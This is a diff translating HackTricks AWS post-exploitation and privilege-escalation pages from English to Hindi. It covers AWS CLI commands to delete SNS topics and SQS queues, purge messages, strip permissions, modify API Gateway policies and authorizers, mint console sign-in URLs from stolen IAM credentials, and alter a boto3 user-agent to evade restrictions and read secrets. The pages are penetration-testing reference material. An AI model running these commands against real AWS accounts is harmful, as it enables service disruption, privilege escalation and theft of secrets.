भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह बिना पहचाने रह सकता है। ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +एक हमलावर पूरे SNS विषय को हटा सकता है, जिससे संदेशों का नुकसान होता है और उन अनुप्रयोगों पर प्रभाव पड़ता है जो विषय पर निर्भर करते हैं। ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**संभावित प्रभाव**: हटाए गए विषय का उपयोग करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में विघटन। ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +एक हमलावर SNS विषय पर दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है। ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**संभावित प्रभाव**: डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +एक हमलावर SNS विषय के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है। ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**संभावित प्रभाव**: गलत कॉन्फ़िगरेशन के कारण प्रदर्शन में कमी, सुरक्षा समस्याएँ, या उपलब्धता में कमी। ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +एक हमलावर एक SNS विषय में सदस्यता ले सकता है या सदस्यता समाप्त कर सकता है, संभावित रूप से संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य को बाधित कर सकता है। ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर अनुप्रयोगों के लिए सेवा में बाधा। ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है। ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**संभावित प्रभाव**: विषय तक अनधिकृत पहुंच, संदेश का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा विषय में हेरफेर, विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा। ### `sns:TagResource` , `sns:UntagResource` -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +एक हमलावर SNS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..197d41072 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SQS Post Exploitation +# AWS - SQS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है। ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**संभावित प्रभाव**: भेद्यता शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +एक हमलावर SQS कतार में संदेशों को प्राप्त, हटाने, या उनकी दृश्यता को संशोधित कर सकता है, जिससे संदेशों का नुकसान, डेटा भ्रष्टाचार, या उन संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा उत्पन्न हो सकती है। ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +एक हमलावर पूरे SQS कतार को हटा सकता है, जिससे संदेश हानि होती है और कतार पर निर्भर करने वाले अनुप्रयोगों पर प्रभाव पड़ता है। ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**संभावित प्रभाव**: हटाए गए कतार का उपयोग करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में बाधा। ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +एक हमलावर SQS कतार से सभी संदेशों को हटाने में सक्षम हो सकता है, जिससे संदेश हानि और उन संदेशों पर निर्भर अनुप्रयोगों में संभावित बाधा उत्पन्न हो सकती है। ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**संभावित प्रभाव**: पवित्र संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में विघटन। ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है। ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**संभावित प्रभाव**: गलत कॉन्फ़िगरेशन के कारण प्रदर्शन में कमी, सुरक्षा समस्याएँ, या उपलब्धता में कमी। ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में व्यवधान। ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +एक हमलावर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है, SQS कतार से संबंधित नीतियों को हटाकर। इससे उन अनुप्रयोगों के सामान्य कार्य में व्यवधान आ सकता है जो कतार पर निर्भर करते हैं। ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**संभावित प्रभाव**: अनुमति के अनधिकृत हटाने के कारण कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..89faf3ece 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -4,7 +4,7 @@ ## SSO & identitystore -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +इन अनुमतियों का उपयोग अनुमतियों को बाधित करने के लिए किया जा सकता है: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..27408f3f4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +यह अनुमति **एक निष्पादन के अंदर गुप्त डेटा को प्रकट करने** की अनुमति देती है। इसके लिए, निरीक्षण स्तर को TRACE पर सेट करना और revealSecrets पैरामीटर को true पर सेट करना आवश्यक है।
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +इन अनुमतियों के साथ एक हमलावर स्थायी रूप से राज्य मशीनों, उनके संस्करणों और उपनामों को हटा सकता है। इससे महत्वपूर्ण कार्यप्रवाह बाधित हो सकते हैं, डेटा हानि हो सकती है, और प्रभावित राज्य मशीनों को पुनर्प्राप्त करने और बहाल करने में महत्वपूर्ण समय लग सकता है। इसके अलावा, यह एक हमलावर को उपयोग किए गए निशान को छिपाने, फोरेंसिक जांचों को बाधित करने, और आवश्यक स्वचालन प्रक्रियाओं और राज्य कॉन्फ़िगरेशन को हटाकर संचालन को संभावित रूप से कमजोर करने की अनुमति देगा। > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - एक राज्य मशीन को हटाने पर आप इसके सभी संबंधित संस्करणों और उपनामों को भी हटा देते हैं। +> - एक राज्य मशीन उपनाम को हटाने पर आप इस उपनाम को संदर्भित करने वाले राज्य मशीन संस्करणों को नहीं हटाते हैं। +> - एक राज्य मशीन संस्करण को हटाना संभव नहीं है जो वर्तमान में एक या अधिक उपनामों द्वारा संदर्भित है। ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में विघटन, डेटा हानि, और संचालन में रुकावट। ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों को बाधित करता है। ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **संभावित प्रभाव**: प्रदर्शन में गिरावट, और महत्वपूर्ण कार्यप्रवाहों में बाधा। ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डाल सकता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है। > [!WARNING] -> This action is not supported by **express state machines**. - +> यह क्रिया **एक्सप्रेस राज्य मशीनों** द्वारा समर्थित नहीं है। ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में विघटन, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार। ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन हो सकता है। ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..1592d5524 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,24 +1,23 @@ -# AWS - STS Post Exploitation +# AWS - STS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information: +अधिक जानकारी के लिए: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### IAM क्रेडेंशियल्स से कंसोल तक -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप निम्नलिखित उपकरणों का उपयोग करके **वेब कंसोल तक पहुँचने में रुचि रख सकते हैं**।\ +ध्यान दें कि उपयोगकर्ता/भूमिका के पास **`sts:GetFederationToken`** अनुमति होनी चाहिए। -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### कस्टम स्क्रिप्ट +निम्नलिखित स्क्रिप्ट डिफ़ॉल्ट प्रोफ़ाइल और एक डिफ़ॉल्ट AWS स्थान (न तो gov और न ही cn) का उपयोग करेगी ताकि आपको एक साइन किया हुआ URL मिल सके जिसका उपयोग आप वेब कंसोल में लॉगिन करने के लिए कर सकते हैं: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +आप **एक वेब कंसोल लिंक उत्पन्न कर सकते हैं** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> सुनिश्चित करें कि IAM उपयोगकर्ता के पास `sts:GetFederationToken` अनुमति है, या एक भूमिका प्रदान करें जिसे ग्रहण किया जा सके। #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से स्टोर और एक्सेस करने के लिए है। ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> आप **aws-vault** का उपयोग करके **ब्राउज़र कंसोल सत्र** प्राप्त कर सकते हैं -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Python से User-Agent प्रतिबंधों को बायपास करें** +यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध** है (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 पुस्तकालय का उपयोग प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने** के लिए पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट** को संशोधित कर सकते हैं: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..aef880d62 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +अधिक जानकारी के लिए: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..f7db71d32 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,16 +4,16 @@ ## AWS Privilege Escalation -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +AWS में अपने विशेषाधिकारों को बढ़ाने का तरीका यह है कि आपके पास अन्य भूमिकाओं/उपयोगकर्ताओं/समूहों के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए बढ़ते विशेषाधिकारों को जोड़ना। > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS के पास **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया साझा करें**। > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> यदि एक IAM नीति में `"Effect": "Allow"` और `"NotAction": "Someaction"` है जो एक **संसाधन** को इंगित करता है... तो इसका मतलब है कि **अनुमत प्रधान** को **उस निर्दिष्ट क्रिया के अलावा कुछ भी करने की अनुमति है**।\ +> इसलिए याद रखें कि यह एक और तरीका है **विशेषाधिकार प्राप्त अनुमतियाँ** देने का। -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**इस अनुभाग के पृष्ठ AWS सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप ऐसी अनुमतियाँ पाएंगे जो आपको विशेषाधिकार बढ़ाने की अनुमति देंगी।** ## Tools @@ -21,7 +21,3 @@ The way to escalate your privileges in AWS is to have enough permissions to be a - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..af85abe12 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के API कुंजी उत्पन्न कर सकते हैं (प्रति क्षेत्र)। ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है। ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के जनरेटेड API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)। ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**संभावित प्रभाव:** आप इस तकनीक के साथ प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुंच का दुरुपयोग कर सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)। ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> परीक्षण की आवश्यकता है +एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। फिर हमलावर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**। ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**संभावित प्रभाव**: Lambda फ़ंक्शन के IAM भूमिका से जुड़े संसाधनों तक पहुँच। ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> परीक्षण की आवश्यकता है +`apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` अनुमतियों के साथ एक हमलावर **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित** कर सकता है ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके। ```bash 